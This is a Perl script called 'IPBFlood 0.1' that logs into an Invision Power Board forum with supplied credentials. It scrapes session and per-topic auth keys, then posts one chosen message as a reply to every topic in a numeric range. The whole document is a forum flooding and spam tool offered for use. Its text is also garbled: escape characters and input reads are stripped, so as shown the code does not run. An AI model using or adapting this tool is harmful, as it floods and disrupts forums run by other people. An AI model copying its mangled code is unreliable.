#!/usr/bin/perl -w
use strict;
use LWP::UserAgent;
use HTTP::Cookies;
my $url = undef;
my $login = "act=Login&CODE=01";
my $UserName = undef;
my $PassWord = undef;
my $CookieDate = 1;
my $SID = undef;
my $SE = undef;
my $MSG = undef;
sub IPBFlood($);
print "ttWelcome to IPBFlood 0.1x By Souviktt[ 'NikTrix' ]Team";
print "Urlt: ";chomp($url=);
print "UserNamet: ";chomp($UserName=);
print "Passwordt: ";chomp($PassWord=);
print "Start [to] Endt: ";chomp($SE=);
print "Messaget: ";chomp($MSG=);
my $ua = LWP::UserAgent->new;
$ua->agent("Mozilla/4.0");
my $cj = HTTP::Cookies->new(file => "N/A" , autosave => 0);
$ua->cookie_jar($cj);
my $r = $ua->get($url);
if($r->is_success){
($SID) = $r->content =~/?s=(w{32})&.*/i;
print "SID : $SID";
}
$r = $ua->post($url.$login,[UserName=> $UserName ,PassWord => $PassWord ,CookieDate =>$CookieDate , s => $SID]);
if($r->is_success){
print "[+] Connected" if($r->content =~ /cliquez ici si vous ne souhaitez pas/gi);
my($Start , $End) = split(/-/,$SE);
foreach($Start..$End){
IPBFlood($_);
}
}
sub IPBFlood($){
my $Topic = shift;
my $get = $ua->get($url."s=$SID&showtopic=$Topic");
if($get->is_success){
if( my ($f) = $get->content =~/f=(d{1,4})/ ){
print "[-]Subforum ID : $f & Topic N : $Topic";
#Get Post AuthKey for Subforum f=N°
$get = $ua->get($url."s=$SID&act=post&do=reply_post&f=$f&t=$Topic");
if($get->is_success){
my ( $auth_key ) = $get->content =~/auth_key.*(w{32})/i;
my ( $attach_post_key ) = $get->content =~/attach_post_key.*(w{32})/i;
print "[-]auth_key : $auth_key[-]attach_post_key : $attach_post_key";
my %form =(st => 0,
act => "Post",
s => "$SID",
f => "$f",
auth_key => "$auth_key",
removeattachid => "0",
CODE => "03",
t => "$Topic",
attach_post_key => "$attach_post_key",
parent_id => "0",
"ed-0_wysiwyg_used"=> "0",
"editor_ids%5B%5D" => "ed-0",
Post => "$MSG",
enableemo => "yes",
enablesig => "yes",
iconid => "0"
);
$r = $ua->post($url."s=$SID",%form);
if($r->is_success){
print "Send success !" if( length($r->content)< 300);
}
}
}
}